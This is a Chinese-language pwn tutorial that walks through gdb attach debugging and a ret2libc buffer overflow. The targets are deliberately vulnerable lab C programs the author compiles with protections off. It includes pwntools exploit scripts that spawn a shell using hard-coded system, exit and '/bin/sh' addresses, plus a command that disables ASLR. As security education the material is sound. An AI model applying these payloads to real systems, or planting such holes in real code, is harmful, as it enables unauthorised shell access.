pwn学习---attach调试与ret2libc

0x01 attach调试

我们将4.c文件编译成41.exe,然后使用python脚本运行
C语言程序如下:

#include<stdio.h>
void exploit()
{
        system("/bin/sh");
}
void main()
{
    char buf[20];
    gets(buf); 
}

python代码如下:

from pwn import *
#context(arch="i386",os="linux",log_level="debug")
p=process('./41.exe')
offset = 44
#payload ='a'*offset+p32(0x8049172)
pause()              //在发送之前停一下
p.send(payload)
p.interactive()

先运行python脚本:python 41.py
pwn学习---attach调试与ret2libc_第1张图片接下来重新打开一个命令行,输入gdb,然后输入attach 94506,让程序运行起来
pwn学习---attach调试与ret2libc_第2张图片运行之后发生了中断,我们可以在第一个命令行那里随意输入一个字符,然后让程序继续运行起来,然后再第二个命令行里单步执行n几次。
pwn学习---attach调试与ret2libc_第3张图片以上是attach基本调试方法!

0x02 ret2libc

1.总述

我们需要控制程序跳转到哪里才能达成目的呢?主要是以下四种形式:
ret2text:控制程序执行程序本身的代码,比如程序中已经有了system函数,我们就可以通过执行system("/bin/sh") 或system(“sh”)实现。
ret2shellcode:先写入一段能够获取shell的汇编代码,然后让程序跳到rsp指向shellcode的开头,来执行该段汇编代码。但实现该攻击需要shellcode所在的区域有课执行权限。
ret2syscall:调用Linux的系统中断int 0x80实现。
ret2libc:控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

2.ret2libc

ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。
上一篇文章中我们找到了exploit的首地址,进而执行了system函数获得了shell。然而ret2libc可以控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

构建栈结构:
pwn学习---attach调试与ret2libc_第4张图片首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示
pwn学习---attach调试与ret2libc_第5张图片观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的地址,让程序默默地退出。
因此,攻击注入的结构是:

AxN(填充物) + system_addr + exit_addr + arg

首先,我们进行溢出的C语言代码为:

#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str[0x20];
        read(0,str,0x50);
}
int main()
{
        func();
        return 0;
}

进行编译:

gcc -no-pie -fno-stack-protector  -m32 -o 42.exe 3.c

请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。
同时需要禁用地址随机化功能:

echo 0 > /proc/sys/kernel/randomize_va_space

pwn学习---attach调试与ret2libc_第6张图片
定位溢出点位置

pattern  create 100

生成100个字符
将其复制,输入r进行交互将这些字符粘贴进去
会发现程序停止运行,我们找到eip对应的字符A)AA,这就是发生溢出的位置

pattern offset A)AA

我们可以看到是32,说明在溢出之前我们要填充32个字符
pwn学习---attach调试与ret2libc_第7张图片
寻找system,exit,/bin/sh 地址
在peda里面,可以通过p system或searchmem system 寻找system函数的地址,通过这种方法我们可以找到system,exit,"/bin/sh"的地址。如下图,我的kali颜色看起来不是很清晰,system函数地址:0xf7e13660 ; exit函数地址:0xf7e066f0 ;"/bin/sh"的地址下面三个都可以。
pwn学习---attach调试与ret2libc_第8张图片如果使用的是pwndbg的话可以用search system来找地址,后面两个的地址都是这样来找的。

通过python进行交互,利用这个溢出
python代码如下:

from pwn import *
p=process('./42.exe')
offset = 32
payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
p.send(payload)
p.interactive()

python 42.py
pwn学习---attach调试与ret2libc_第9张图片
执行成功之后,就获得系统权限了!

你可能感兴趣的:(PWN)